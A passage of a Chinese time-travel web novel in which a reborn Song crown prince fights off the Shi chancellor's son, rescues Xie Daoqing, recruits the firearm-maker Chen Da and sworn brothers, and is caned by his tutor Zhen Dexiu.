历史称谓解析:可能有很多人看了本书的称谓会有点不解,在这里我得把大多称呼说一下,对于这些侍卫一般自称小人,小的,在下,属下,小将。女性称呼自己奴家,妾身,小女子。而当官的都在自己称谓前加个本字,比如本官,本提辖,本相。太监们自称小侍,本内侍,咱家,本监,小臣。而民间和太监多称呼皇帝为赵大官家,官家。总之宋代普遍在自己称谓里加“奴”的只有女性。千万不要拿清代的称谓说事,大清的官员,太监,将军,都以为奴为荣,比如家奴,奴才,奴婢,老奴,皇上称呼下边人那更简单了,不管文官,武将,一律都是狗奴才。这是人家的文化属性和**制度决定的。在元朝以前,不管对方男性身份多低,你加个奴字,就是骂人的。例如著名的三姓家奴。
第七回 板砖的用法 被救的女子
程保赵国两个人却说,我们当时被一群壮汉放倒在地爆踩,叫也是我们俩的叫声,别的咱也听不见啊...
总之日后记录这件事的史官,将其列为了宋朝十大迷案之首!’大宋太子怪叫案‘。
就在宋宇双手高举着板砖,狂奔到离麻子脸不到十米的时候,这货竟然一脸坏笑的盯着正要冲过来的宋宇。不急不慢的从袖筒里抽出一把短剑,随后摆好姿势,静等宋宇冲过来。
在麻子脸掏出短剑那一刻,宋宇整个人就像掉进‘了冰窟窿,心想这下可糟了,可想停下来,已经太晚了,离那货已经不到五米了,宋宇干脆一咬牙,本太子今个还真就豁出去了,
眼看两人就要对上了,突然从宋宇后方传来“砰”的一声巨响,电光火石之间,麻子脸手里的剑竟然被打飞出去,而麻子脸整个人都愣在了原地,呆呆的看着空无一物的右手发呆。
宋宇现在哪还有功夫查看身后发生了什么,鼓足了力气猛跑两步,向前一跃,“砰”“哗啦”整个青砖在麻子脸脑袋上砸了个稀碎。
麻子脸一手捂着天灵盖,另一只手指着宋宇“你”话没说完“噗通”一声,倒在地上。
宋宇长出了一口气,拍了拍手上的灰尘自言自语道“;我什么我?谁让你这孙子长得丑?你要是长的顺眼点,小爷我就去拍别人了。”
说完转过身来冲着依旧在混战的两拨人,扯着嗓子喊道“:都住手,城管来了!”
别说,这一嗓子真管用,听到之人全都停了手。将目光全都集中到了喊话之人宋宇身上。
其中有个个子小点的流氓问身边一个壮汉道“:兄弟,这城管是多大的官?”
哪知大个子也不知道“:没听说过啊,应该不小吧?”
他俩说到这,从人堆里挤出一人,长得贼眉鼠眼的,身材在这群健美教练似的彪形大汉中明显瘦小许多。
也不多说话,直接冲着刚才乱说话的俩流氓脑袋上,一人一记爆栗“:平时让你们多读点书,丢人了吧?城管城管,就是这临安城的总管,起码是知府级别的。”
俩流氓幡然醒悟“:哦!还是狗爷有文化,怪不得是咱们少爷身边的红人呢。”
可刚说完俩人都盯着狗爷的身后愣了,大个子流氓旋即抬起右手,指着狗爷身后问道“:狗爷,那小子身后躺的那个人,怎么那么像咱们家公子呢?”
狗爷转过身来观看,不觉惊叫“:这哪是像,就是咱们少爷,我的妈呀...谁这么缺德,把少爷给放倒了?”
一个流氓指了指宋宇“:狗爷,应该就是这小子乘咱们不注意,打了少爷!”
众流氓哗然,甩开了余阶三人,冲着宋宇跑去。
宋宇看众流氓都冲自己来了,并没有慌张,只见他不急不慢的从地上捡起麻子脸那把剑,就势一蹲,将剑比在麻子脸脖颈处,脸一冷“:都站住,不然地上多条尸体。”
众流氓乖巧的停在了原地,你看看我,我看看你,都没了主意。
这时刚才的狗爷站了出来“:小英雄是吃什么长大的?在这临安城里,但凡敢管我们家少爷闲事的,坟头草都三米高了。”
宋宇砸吧砸吧嘴暗道这麻子脸,有背景啊!富二代?官二代?话说天子脚下,敢当街**姑娘还大言不惭的,他们家背景应该不小。
上一世好打抱不平,却因为没背景,饱受欺凌。这一世,老子都穿成太子了,还能被你们给唬住了?
想到这,宋宇冷冷说出几个字“:我姓赵!”
狗爷一听姓赵,心里有些发虚,不敢再追问下去,很有礼貌的对着宋宇作揖“:还望小英雄手下留情,不瞒您说,就是你姓赵,遇见我们家少爷,也要量力而行。”
宋宇有些生气“:今天这事,我管定了。”
狗爷见碰上个软硬不吃的硬茬,又看了看地上昏迷的少爷,就见少爷头上还在流血,不想再耽误时间,对着宋宇一拱手“:只要小英雄你不伤害我家少爷,小的们都听你的。”
宋宇长舒一口气“:那好,现在把刀剑都扔了。”说完往旁边啐了一口吐沫。
众流氓正在犹豫,狗爷吼道“:还不听小英雄的话,赶紧给我扔了。”众流氓这才将刀剑都扔到了远处的墙根。
宋宇继续下命令“:现在留下三人抬你们家少爷,其余的,哪来,滚回哪去,不听话就给他收尸吧...”
狗爷听到宋宇吩咐,转身对身后那群流氓交代了下,便见除了狗爷和其余两个流氓留下外,其余的都小跑着出了胡同。随后狗爷对着宋宇说道“:接下来怎么办,小英雄?”
“:说话算话,这货你们可以带走了。”说完宋宇站起身,示意那三人来抬自家少爷。
余阶三人此时也已经走到了宋宇身边,宋宇看了看这三人,顿时一头黑线。
余阶还好点,就是衣服上大大小小的脚印不少。
程保和赵国就惨了,衣服破破烂烂,脸上青一块,肿一块的。尤其是赵国,俩眼圈都被打黑了。
宋宇恼怒地自言自语:也不知道哪个缺心眼的,还真下得去手。
随后对着三人作揖“:今日多亏了余学弟和两位壮士舍身护佑,竑感激不尽。”
“:殿下无须多礼,这是我三人应该做的。”三人齐声回答。
他们这边客气,那边三个流氓已经将麻子脸背在了背上,向胡同口走去。
可没走多远狗爷回头一脸恳求似的对宋宇说道“:我等乃是史丞相府上的家丁,受伤的这位,是我家公子史施德,虽然不该问,可今日少爷受伤如此之重,我等回去没法给老爷交代,定然会受罚。搞不好,这小命便没了。还请小英雄留下姓名,救我三人。”说完突然跪在地上磕起了头。
宋宇这还没回答,一边被打了俩黑眼圈的赵国先开口了“:别别别救他们,看看给我打得。”
宋宇发懵“:怎么?他们给你打成结巴了?”
赵国还没开口,一边的程保抢着说话了“:殿下,甭搭理他。这厮天生就是结巴,平时说话倒还利索,可一激动就结巴的厉害了。”
宋宇微笑着点了点头,心里犹豫起来到底要不要救他们。毕竟对方是史弥远的宝贝儿子,本来自己跟史弥远的关系就很微妙。
现在又打伤他的宝贝儿子,新仇旧恨,这史弥远还不恨死我?可我就算是不说出身份,凭着史弥远的本事,不多久就能查到我身上。
被人查到,会很被动,不如直接把窗户纸捅破,让他史弥远知道,自己明着跟他结仇了。
想到这,宋宇正色道“:原来是史相家的公子。本殿下可算是开了眼了。你回去就跟史弥远说,**的,叫赵竑。”
狗爷虽然没听过赵竑这个名字,可听到对方自称殿下,立马声泪俱下的在那磕头道谢。还忙不迭地解释“:小人只是陪着公子喝喝花酒,赌赌钱的下人,今日是第一次作恶。还请殿下莫要怪罪。”
狗爷到底是**湖,看到自家公子昏迷,直接开始甩锅。
宋宇无趣的摆了摆手,示意他们赶紧走。心里暗道:前世若是碰上狗爷这等身份之人,那绝对是最不能招惹的存在。现在,自己这太子身份,却轻松让对方跪地乞怜。身份这东西,很有用啊。
见对方已然离开,宋宇一屁股瘫坐在了地上:史弥远,这座挡在自己身前的大山,感觉随时都要砸下来了。这种窒息感,比之前世叫家长,更有甚至。
本来在府中和小小花前月下的,也能享受三年,但自己就是想要**,这可倒好,弄巧成拙,再次恶化了和史弥远的关系。命运这东西,怎么这么让人摸不透呢?不行,要想活下去,得继续努力。
倒是他史弥远养的好儿子啊,差点要了本殿下的命。这爷俩,老子在朝中排除异己,大杀四方,儿子在朝外祸害老百姓,真是一门混蛋啊!
宋宇正独自生闷气,身后却传来一个银铃般的声音“:小女子谢道清,多谢殿下救命之恩。”
原来是被宋宇救下的那两位姑娘走到近前搭话。
宋宇赶紧抬起头,只见先走上前来的女子年纪二十岁山下,肤色稍黑,用现代话说就是古铜色,一头乌黑的
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秀发扎成了辫子,又由右前胸垂下。头上则巧妙地点缀着几朵白色的花饰,再加上柳眉,明眸,皓齿,朱唇,柳腰身。十分吸人眼球。
身上则穿着一件淡绿色的长裙,袖有各色不知名花朵,在长裙外套着一件颜色稍深些的绿色小褂,同样绣有花朵,与其长相相得益彰。尝闻西施素朴衣服溪边浣纱,尤是光彩动人,这女子,也毫不逊色。
宋宇差点看入迷,还好余阶在背后轻轻用手拍了下他肩膀,宋宇这才回过神来,一本正经的说道“:区区小事,何足挂齿,谢姑娘不必在意。”
谢道清好像早有准备,开口就问宋宇,“:以前常听传闻,殿下英俊不凡,今日见了,果然如此。”
宋宇见这姑娘对自己太子身份并不避讳,也未露怯,十分自来熟,心想这姑娘八成是哪家的千金小姐,见过些世面。
可仔细想了想谢道清这个名字,只觉得很熟悉,好像在哪里听过,却又一时想不起来。
关键时刻,余阶凑到宋宇耳边,小声嘀咕道“:殿下,咱们撞了大运了。这姑娘可是前丞相谢深甫的孙女!”
谢深甫?听到这个名字,宋宇不禁想起一首诗:
溪绕青山路绕溪,山长溪曲路高低。
晴滩浅湿舟如荡,危磴棱层石作梯。
谢道清听了宋宇念的诗,惊讶的说道“:这是爷爷写的诗,殿下竟然能够背诵?”
宋宇的一个无心之举,却拉近了自己与谢道清的距离,忙回道“:谢宰相大才,这首诗竑很是喜欢。”
“:看来外面的传言,多半做不得真了。”谢道清却话题一转,饶有意味的盯着宋宇说出这么一番话。
宋宇被吊起了兴趣“:什么传言?关于我的?”
谢道清笑着说道“:临安城里都传遍了,说当今殿下不学无术,整日跟一个红尘女子厮混在府中。不过今日看来,这些话当不得真了。”
宋宇鼻子抽了抽,暗道传出这些流言的,八成就是史弥远,心道这就是得罪他史弥远的下场啊。
“:传出这些传言之人,想必对我意见很大。不过这些事都是朝堂上的争斗,谢姑娘只要相信本殿下并非传言那般就好。”
谢道清忙一脸感激的对着宋宇说道“:就凭着太子殿下区区数人就敢殊死搏斗十余个流氓这件事,太子殿下便当得英雄二字。想必不久,那些传言便会不攻自破。”
“:谢姑娘谬赞了。”宋宇还是平生第一次被女孩子夸赞,有些不好意思的挠了挠头“:只是不知姑娘为何会惹上这史家少爷的?”
谢道清见问,眉头紧皱,叹了口气说道“:唉,不瞒殿下,这事还要从半年前说起。”
“:还请姑娘详说。”宋宇暗道:这事可要问清楚,毕竟是有关史弥远的,而这史弥远更是事关自己的身家性命。
“:既然殿下想听,那小女子便说与殿下。此事还要从半年前说起,半年前,这史家公子史施德也不知为何,突然上门提亲,可我谢府待嫁的女儿家只剩小女子一人而已,父亲便私下询问小女子是何意思。小女子素来厌恶史弥远恶名昭彰,排挤打压忠直之人,视大宋社稷于不顾的恶行。而这史家公子,小女子更是早有耳闻,平素花天酒地,无恶不作,十足的登徒浪荡子。其相貌更是丑恶之极,于是回答父亲,宁愿终生不嫁,也不要嫁给那史施德。父亲素来疼爱小女子,眼见小女子如此坚持,便一口回绝了那史施德。本来以为此事便过去了,哪知今日我与侍女出门逛街,走到这里却突然被这史施德拦下。”
说到这,这谢道清便停了下来,然后满眼感激地看着宋宇。
历史解析:俗话说流氓会武术,谁也挡不住。流氓带板砖,无法也无天!南宋的兵丁,并非是整天闲的没事干天天欺负老百姓的祸害,他们也是要训练的,而他们所**的拳脚功夫就叫‘太祖长拳’,相传是宋太祖所创,中国最早的拳种,被人称为‘百拳之母’。戚继光曾在‘纪效新书’里对其大加赞扬。在太祖三十二势拳法里,有一式就是”猴拳”。
第八回 陈达与火铳 太阳与小草
宋宇听了谢道清的讲述,若有所思:这史施德如此作为,莫不是史弥远想要和谢家结姻亲,以拉拢谢家?现在自己的出现,岂不是坏了人家的好事?
余阶这时凑到了宋宇耳朵边“:殿下,这谢姑娘可不简单啊!这谢家更是宰相门庭,门生故吏遍布我大宋。如此天降良缘,殿下若是对人家有意思,不如约定一个地方,以待来日相会啊!”
宋宇听了余阶的劝说,心里上下打鼓,约会?要说对谢道清有没有好感?那肯定是有。漂亮女人谁不喜欢?可自己前途未卜,贸然把人家拖下水,不太好吧?
谁料宋宇迟疑,谢道清却十分大方的开口了“:那就三日后,西湖五花亭不见不散。”
宋宇被谢道清的主动邀请雷到了,古代女子这么主动的吗?不过对方相邀,自己一个大男人还扭扭捏捏像什么样子?赶忙一拱手“:谢姑娘,三日后,不见不散。”
就这样,一边和谢道清聊天,宋宇一边回忆历史上谢道清的一生:历史上,谢道清是宋理宗的皇后,南宋最后危亡之时主政的太皇太后谢太后。
因为长得黑,史书都说他是丑女,古代都是以白为美,这也很正常,不过谢道清的命运却充满坎坷。
在假帝理宗被史弥远矫诏立为皇帝后,和史弥远狼狈为奸的杨皇后为了不使自己失势,便强硬让理宗迎娶谢道清为皇后。
理宗虽对此十分不满,却迫于压力,委屈答应。
于是,谢道清便在这深宫之内做了一辈子活寡妇,直到南宋即将灭亡时,其又垂帘听政启用文天祥等一派忠臣义士。
却仍然未能拯救千疮百孔的大宋王朝。在宋亡后,被掳往大都,七年后病故。
宋宇越想越气,这人和人之间的追求,怎么差的这么大呢?
史弥远之徒和文天祥等人相比,完全就像两个物种似的
“:该死,光天化日的,做出如此猪狗不如之事。真当这大宋朝姓史了?”说完宋宇气愤的往旁边地上啐了一口唾沫。以解心中怒气。
旁边余阶不失事宜的对着宋宇劝道“:殿下,莫要生气。这史弥远专横跋扈,谋害忠良,已非一日之事,与其在这里生气,不若这几年内,好生韬光养晦,以待他日掌权之后,重塑朝纲,再造社稷啊!”
“:本殿下现在自身难保势单力薄。有的,只是本殿下身为大宋皇子这个虚职而已,眼睁睁看着这大宋朝,被这帮蛀虫吃的千疮百孔。却只能胡乱发几句牢骚罢了。”
余阶却哈哈一笑“:殿下怎能说是孤家寡人?这天下智勇之士何止百万?只要殿下暗中操持,还怕这天下英雄不齐聚身旁,以为臂膀?到时,就凭这些粗鄙贪婪之徒,岂是殿下对手!”
宋宇苦涩一笑“:说得好,余学弟,说到英雄,竑身边不是已经多出一位了。”说着,看向了余阶。
“:殿下高看余某了,想余某只是一介山野草民,承蒙殿下看得起,收入府中,若论真才实学,与真英雄差的太远了。阶只愿一生辅助殿下而已。”余阶谦虚的说道。
“:余学弟太过自谦了,不过说到英雄,刚才好像是有人暗中助我,打掉了史施德这把短剑。若非此人打掉史施德短剑,恐怕本太子已经命葬于此。”宋宇突然想起了刚才史施德手中宝剑掉落那一幕,便说与了余阶。
“:哦?竟有如此奇事?不过,直到现在对方仍未现身,还真是奇怪?难道对方长得丑,见不得人?”说完余阶四下看了看,想要寻找那人身影。
却听一道洪亮的声音传来“:两位别再找了,在下这就出来相见。”话音刚落,便见一道人影从胡同一侧的矮墙翻过,落地之后,拍了拍身上尘土,径直向宋宇等人走来。
宋宇仔细打量走来之人,只见此人约莫二十出多,头缠灰巾,身着灰袍,身后背着一个约莫60公分的木匣。
再看相貌,阔面浓眉,方眼尖鼻。长相给人一种十分可靠的样子。
人还未走到近前,宋宇赶紧打招呼“:刚才救我赵竑的,想必是这位英雄了,还请问英雄尊姓大名,竑必将厚筹。”
待此人走到宋宇面前,倒头便拜“:小人拜见太子殿下,小人陈达,祖父乃是我大宋龙图阁直事,当年守德安的陈规。只可惜家道中落,小人平素又别无所长,只有祖父当年留下来的突火铳,与其制造图。想起当年祖父临终前的遗愿,便将之拿到这临安来,想要献于朝廷,只可惜没有银子疏通,困于这临安城数月有余。今日在街上闲逛,想要谋个差使做,却遇到此事,本想冲出来救人,可对方人多势众,只好手拿火铳伏于矮墙之下,打算伺机而动。哪知就在这千钧一发之际,殿下不顾个人安危,挺身而出,举砖相迎,实在是令小人汗颜。”
宋宇又一次震惊了,想不到,救个人,遇到这么多名人。而且都是这个时代的顶尖人物。难道这冥冥之中早有定数?
宋宇一把将陈达扶起“:陈兄弟多礼了,竑只是做了自己应该做的,只要是个血肉之躯,定然不会见死不救。倒是陈兄弟今日救下了我赵竑,便是上天注定你我相识。不过刚才足下说起突火铳,不知可否一观?”
陈达见说,便从身后取下木匣,打开之后从中取出一物,交到了宋宇手上。
宋宇拿着此物,仔细打量,但见此物呈管状,约莫四十公分左右,与后世的**相比,这东西就是个铜管,引信在铜管的后部,从前面装弹,由后部点燃引信击发。
而所装的**是球形铁块,可以说是最原始的**与**。
看过后,宋宇问道“:你说是祖父陈规所制,只是不知为何,当年你祖陈规不献于朝廷?”
“:此事不瞒殿下,现在殿下手中所拿的火铳,是我与家父花费十数年时间,改进所得。当年祖父所做火铳,过于简陋,铳身是用竹管所制。所以当年祖父数度上表朝廷,言此物他日定大行于天下,可朝廷却因祖父所制过于简陋,与**相比,不仅射速缓慢,其耐用性更是差强人意,经常炸裂竹管,**受潮后无法使用更是常有之事。朝廷对此物可以说是爱答不理,认为言过其实。后来大宋与金国签订了合约,此物更是无人问津。祖父临终抱憾遗言我陈家儿孙,让我等努力改进此物,以期他日献于朝廷,使我大宋不再受那些蛮夷之苦。”陈达言道。
“:原来这**的发明还有这样一段渊源,只是不知足下做了如何改进?竟然使得刚才这火铳如此精准,打掉史施德手中刀剑?”宋宇满心好奇的追问道。
陈达一听宋宇提起此事,面露惭愧之色“:还请殿下恕小人之罪。”
这话立马把宋宇说蒙了,正想回答,一旁的的余阶抢先说道“:既然殿下问你,你便直说,殿下又不是昏聩之人,怎会无故给你乱加罪名?”
这话若出自别人之口,宋宇也就罢了,可是出自偶像之口,宋宇顿时心里暖洋洋的,不自然的转过脸去看余阶。
余阶被宋宇这么一瞅,顿时鸡皮疙瘩掉了一地,心想这殿下哪都好,可就是看我这眼神怪怪的。老觉得是在馋我的身子。
余阶那边在胡思乱想,这边陈达满脸愧色的说道“:其实刚才救殿下那一铳,小人心里也没底。如若事先知道所救的是太子殿下,小人肯定没胆量在如此远的距离,打掉对方短剑。”说完挠了挠头,看着宋宇傻笑。
宋宇听他这么说,不怒反喜“:哈哈哈,陈兄弟救得好。非常之时,当有非常之人,做非常之事。陈兄弟实属少年英雄啊。不过,若是陈兄弟对自己的火铳没有信心,想必陈兄弟也不会贸然出手吧。”
陈达见宋宇并未生气,心中起了一丝敬佩。心想这临安城里殿下的各种**满天飞,可今日见了,实在无法将传闻与自己面前的太子连在一起。看来那些传闻,都是子虚乌有
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了。
想到此,陈达理了理思绪,又继续说道“:是小人矫情了。小人自从记事起,便跟着父亲一起钻研此物的改进之法,为了它,我父子二人甚至放弃了科举博取功名。”
宋宇虽然对历史人物传记很在行,可对什么物理化学铸造什么的一知半解。典型的门外汉。
所以宋宇穿越过来,想要造大炮,造火箭。改变科技进程,他还真没这个本事。
连声对着火铳叫好,宋宇一脸恳求似的看向陈达“:陈兄弟,相逢即是有缘。你可愿意留在我太子府,以待日后?”
陈达忙跪下对着宋宇说道“:小人一日三餐都成问题,承蒙殿下不嫌弃,小人愿誓死跟随!”
看到自己这身份对于人才的吸引力这么大,宋宇很开心,拉着陈达开始聊火铳。
两人聊着聊着,陈达突然有些失落,不过很快又一脸开心的说道“:幸赖皇天庇佑,经过这些年的努力,此物终于可以与我大宋**相媲美了。”
说到这,陈达拿着火铳兴奋的介绍道“:殿下请看,祖父当年铳身用竹管所制,不仅粗糙,安全性更差,时常炸裂竹身,伤敌不成反伤己。而弹丸方面,多是石子与碎铁块,不仅射程近,仅数丈之远(一丈等于三点三三米),威力更是差强人意,而现在小人以黄铜铸造枪身,更将弹丸打磨成球形,不仅增加了稳定性,更是有了破盾穿甲之力,数十丈内,毙敌如探囊取物。”
说到此,不禁又黯然失落,看得出,若非经历过大起大落,这人是不会如此喜怒变换这般快的。
宋宇本想说点什么,哪知这陈达竟然流出了眼泪,抽泣着说道“:只可惜小人没有那打通上差的黄白之物,可恨如此利器,竟然因为没有银子孝敬而不得报效国家。”说完泪如泉涌。
一旁程保突兀的喝道“:堂堂男儿,哭个什么劲?今日殿下定然会为你做主的。”
赵国一听也在一旁结巴着连喝带劝“:可可恨这史贼,庙庙堂之上,广植党羽,四木三三凶,把持朝政,排排除异己,这堂堂的大宋庙堂,成了这帮人生财索索贿之所,想我兄弟二二人,也是因为上官克扣饷银,时时索要贿赂,才才不得已离开了殿殿前司,转而来到了殿殿下府上。兄弟你今日遇到殿殿下,就说明你这倒倒霉额日子到头了。”
这一路结巴过来,得有多激动啊!宋宇想不到这俩人还有这样一番经历。转眼看了看程保,见他也是一脸义愤填膺,便知道这赵国所言非虚。
程保见赵国这家伙一路口吃的说了这么多,对着赵国一脸无奈的笑骂道“:你这吃货,口齿不清就别一口气说这么多,没憋死你丫的。”
赵国看**似的白了程保一眼,不再言语。
宋宇再次开口道“:不患寡而患不均,不患卑而患人贪欲旺盛,上行下贪。话说,这世道又何时公平过?”
说完,郑重的走到陈达跟前,先是摸了摸那把金灿灿的**之祖,转而又抬起头来仿佛是自言自语似的,边给陈达用衣袖擦眼泪边缓缓说道“:陈兄弟方才不为自己悲惨遭遇而哭,却为这火铳不能为我大宋朝廷所用而哭。依竑看来,陈兄弟担得起国士二字。想我大宋朝这千穿百孔的病躯。几经北方金人羞辱,甚至是虐辱,实在让人开心不起来。”
说到最后几句,宋宇几乎是一字一顿的念出来。不由心有所感:
柔柔岩上草,
贫寡孱孱身。
风来伏地抖,
雨落叶低吟。
时时南懈怠,
岁岁深扎根。
愿待天晴日,
还来抖精神。
想想自己,现在就身处在这个狼烟遍地,生灵涂炭的年代。数十年前,岳飞连受十二道金牌,无奈停止北伐班师。从此再无缘北方疆土,这陈达不能为大宋所用,与岳飞的遭遇,又何其相似?只不过前者光芒万丈,后者却像草一样,趴在地上。
第九回 真德秀的尺 叶绍翁的诗
宋宇诗词出口,良久,没有人开口。周围静的落针可闻,大家都心事重重的各有所思。
直到一个银铃般的声音打断了沉默“:小女子虽然读的书少,但也看的出在场各位都是对我大宋现状不满之人。”
说话的是谢道清,只见她双手抚摸垂在右前胸的发辫,有些害羞的继续说道“:与其在此神伤,诸位不若辅助殿下,倘若殿下将来执掌朝堂,或许是我大宋朝的一线生机。”
众人听了,互相瞅了瞅,相视大笑出声,齐齐跪倒说道“:我等愿倾全力襄助殿下,虽死无悔。”
宋宇赶紧将他们一一扶起“:诸位都是我大宋顶尖的人才,我赵竑何德何能领导你们?不如这样,竑不才,愿效仿古人,与诸位结为异姓兄弟。”
众人一听大惊,程保赵国抢先说道“:我两人都是下人,殿下使不得啊。”
余阶和陈达也慌忙规劝,正相持不下时,一旁的谢道清又调皮的说道“:诸位怀揣远大报复,又何必为此区区名分之事,争得你死我活?既然殿下有此意,岂不是一段千古美谈?诸位若是碍于情面,可在私下兄弟相称,庙堂之上仍以上下尊卑之礼相论便好。”
宋宇也不知是小说看多了,还是真就想要结拜余阶等人。就效果而言,这个举动让余阶等人和宋宇的距离快速拉近。那种古人根深蒂固的阶层观念,松动了。
就这样,一群身份悬殊,时代不同的人在这临安城,一条普通而幽静的胡同之中,以兄弟相称了。
众人对比了年龄大小,结果宋宇最小。不过他们可不敢直呼殿下为贤弟,最后余阶四人仍以兄弟相称,而将宋宇在私下称为竑少爷。有人时仍称殿下。
宋宇无奈的摇摇头,这古代的尊卑之别,还真是深深的扎在这些人的身上,想要让他们突破这道坎,难比登天。
见好就收吧,尊卑观念有所松动,也算成功了一半。想到此,宋宇便承认了众人对自己的称呼。
这件事就此定了以后,宋宇回头对谢道清说道“:谢姑娘帮了竑一个大忙,竑在此谢过了。本想亲自护送姑娘回府,只是竑还有一件事未了,今日出来便是为了此事。所以便让程保赵国两人送姑娘吧。也免得姑娘路上再遇上什么麻烦。”
谢道清看看天色,知道也是时候分别了,对着宋宇道别后,领着身边的丫鬟三步一回头,缓缓离开了。
送别了谢道清,余阶不失事宜的对着宋宇说道“:殿下,小小姑娘好像还没回来。”
宋宇眉头一皱:要说小小这丫头,刚才自己还在想,是不是提前听到史施德的声音,借故取东西躲起来了?
如此想着,宋宇站在胡同口,朝着闹市方向看去,就见远处小小正在向着自己缓缓走来,怀里还抱着东西,宋宇忽又觉得是错怪了这姑娘。
不过仔细一琢磨,这丫头要是刚才在的话,会不会因为对方是史弥远的儿子,反过来帮对面?
想到这,宋宇不觉脊背发凉。要说历史上的美女间隙,真是不少,春秋时期吴越争霸,四大美女之一的西施,就是越王勾践派到吴王夫差那里的女间隙。
可西施并没有刺杀吴王夫差。说明这间隙,尤其是美女型的间隙,多是用美色来达到目的。
小小不会武功,大概率属于这一类。像是刺探情报,误导被色诱一方对未来某些重要决策的决定,或是对身边近臣的好恶与否。
“:殿下,小小把丢的东西拿回来了。”小小看见宋宇在等自己,小跑两步来到宋宇身前,笑着说道。
宋宇忙回应“:哦!拿回来就好。”
“:咦?”小小打量了下面前几人,满是不解之色“:殿下,这才多大会功夫,怎么他们三个就变得鼻青脸肿的?”说完,捂着嘴偷笑起来。
余阶三人嘴角直抽抽,谁也没回小小的话。
宋宇叹了口气“:碰上流氓欺负俩姑娘。对方人有点多,吃亏了。”
“:光天化日的,还真有流氓?刚才那些叫喊声是真的?”小小听了宋宇叙述,吃惊地说道。
宋宇点了点头,小小忙走到宋宇身前,把宋宇上下左右仔仔细细检查了一遍。
边检查,边关切地询问“:殿下有没有受伤?”
宋宇忙解释“:本殿下没事,都是余阶他们三个护主有功。”
听宋宇说没事,小小才长出一口气,随即又一脸气愤地说道“:殿下可曾记得贼人长相?敢殴打太子府的人,真是嫌命长。”
宋宇听了小小的话,非但没有高兴,反倒把眉头皱成了川字:一方是当朝宰相的宝贝儿子,一方是当朝太子,大宋哪个衙门敢接案子?这事除了当今的皇上,怕是没人敢管了。
想归想,宋宇并不想告诉小小对方是史家少爷。毕竟小小的身份太微妙了。
秉着多一事不如少一事的原则,宋宇轻描淡写地说道“:几个蠢贼而已,打跑了就好。咱们继续赶路吧。”
由于之前耽搁了不少时间,天色已经不早了,宋宇催促几人一路急行来到了真德秀府门前。
告与府门仆从身份后,便在仆从的带领下向府内会客厅走去。
真德秀的府邸比太子府小了不少,还有些陈旧。一条小径连接大门与前院。小径两侧种满了竹子。看上去十分清幽。
半道上宋宇不时地回头看看小小,心里十分纠结,暗自揣摩着,把小小这丫头带过来是对还是错?
宋宇可知道,这真德秀是那个大名鼎鼎的理学大家,朱熹的弟子。
历史上,朱熹曾经把南宋名妓严蕊打的半死。身为朱熹的弟子,这真德秀不会也将小小打个半死吧?
就这样,边走边想,不多时后,宋宇几人便在仆从的带领下来到了厅前,仆从进去禀报,宋宇则手捧戒尺,乖巧的跪在了客厅外。
直到仆从出来通报让宋宇独自进去,宋宇才站起身,依旧捧着戒尺小心谨慎向厅内走去。
进到客厅内,宋宇不由分说跪倒在地“:学生赵竑,见过先生。”
许久没人回答。宋宇抬起头,瞄了一眼客厅。就见这客厅墙上挂满了字画,笔走龙蛇,花鸟虫鱼,十分吸人眼球。
正中央摆了一张小桌,桌上放着棋盘棋子。这种布局,跟客厅不好联想在一起,俨然一副书房样式。
棋盘两侧,两个头发灰白的老头正在聚精会神的对弈。看来其中一位便是真德秀。
见对方没有动静,宋宇只好一直跪着。
两个老头谁都没有理会宋宇,自顾自地边下棋边聊天“:真老头,今天你输定了。只要老夫在下一子,你便回天乏术。”
真老头深以为然“:想不到看你长得憨憨傻傻,下棋着实厉害,真是人不可貌相。”
“:欸!真老头,输不起是不是?言语侮辱,非君子所为。”
“:这天下都是鸡鸣狗盗不学无术之辈。你讲君子?能饿死你。”
“:鸡鸣狗盗之辈,都跟你似的挤破头进了朝堂。君子都跟着我,躬耕田园去了。”
“:这朝堂就是因为你们这些人,胆小怕事,缩头乌龟似的去隐居,装清高,才变成了藏污纳垢之所。”
“:你说谁缩头乌龟呢?”
“:说你们这些故作清高的**子怎么的?”
“:哎呀,你个老不羞,输不起,侮辱我也就算了,你这可是把全天下的君子都侮辱了个遍。”
“:嘿嘿!就侮辱你们怎么的?老夫几次三番邀请你们当官,你们怎么回答老夫的?什么史弥远当道,打压异己,什么史弥远当朝,豺狼遍地。你瞧瞧你们这些人说的都是什么?怕死就怕死,装什么高大上呢?”
俩老头越吵越凶,唾沫星子横飞,就差动手了。
宋宇看着眼前这一幕,眼角直抽抽:这是理学大师?这是俩老头菜市场骂战吧?
也不知过了多久,俩老头才气喘吁吁的停下了嘴。
那真老头回身一看,见宋宇跪在地上,面露惊讶之色“:殿下?你什么时候来的?快起来,老夫给殿下见礼了。”
宋
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宇有错在先,哪敢起来“:先生,竑做错了事,特地拿着戒尺来您这领罚。”
“:殿下说的哪里话,从来都是做臣子的犯错,殿下真命天子,怎么会错呢?”
真德秀也没上前扶宋宇起来,反倒是阴阳怪气的说出这样一番话。
宋宇心想这老头气性还挺大,八成跟输了棋也有一定关系。看来得提升下情感深度了“:相生,戒尺在此,还请责罚。”
“:**累,老夫嫌累,不打。”真德秀脾气上来了。
一旁的另一个老头明显看不下去了“;老不羞的,殿下给你面子你就接着。真当自己是诸葛孔明,还要来个三顾之礼?”
这几句话还真管用,真德秀明显脸上挂不住,轻咳了一声,站起身走到宋宇跟前,拿起戒尺,高高举起“:人有七情六欲,在所难免,可收不住欲望,沉迷酒色,该打!”
说完啪的一声狠狠打在了宋宇手心。
疼的宋宇差点掉眼泪。心想这戒尺一点都不比藤条打的轻啊!这老头手劲儿还挺大。
“:为了区区美色,荒废学业,甚至盖了竹楼日日欢歌,该打!”‘啪’。
“:身为储君继承人,弃国家社稷如敝履。”该打!‘啪’。
就这样,宋宇足足挨了十几下,真德秀才停手。
却又突兀的直接跪在宋宇面前“:殿下,千错万错都是老夫的错,老夫也给您请罪了!”
宋宇赶忙起身搀扶,哪知这老头还挺倔,跪在地上继续说道“:殿下,请降罪。”
宋宇顿时为难,心想这古人啊,还真是礼节太多了。多的让人觉得有些做作“:先生无罪,请起。”
宋宇无奈的吐出这么几个字。地上的真德秀立马开心地站了起来“:多谢殿下。”
一场师生道歉完美收官,宋宇被邀请坐在了小桌旁。
真德秀率先介绍一旁的老头“:这个老不羞是个种地的,名叫叶绍翁。”
“:在下叶绍翁,见过殿下。”
叶绍翁?小学课文里那个叶绍翁?想到这,宋宇脱口而出“:满园春色关不住,一枝红杏出墙来。”
“:哦?殿下读过老夫的诗?”
宋宇一脸黑线:何止是读过,还背诵过。自己好像喜欢上诗词,就是从这开始的。
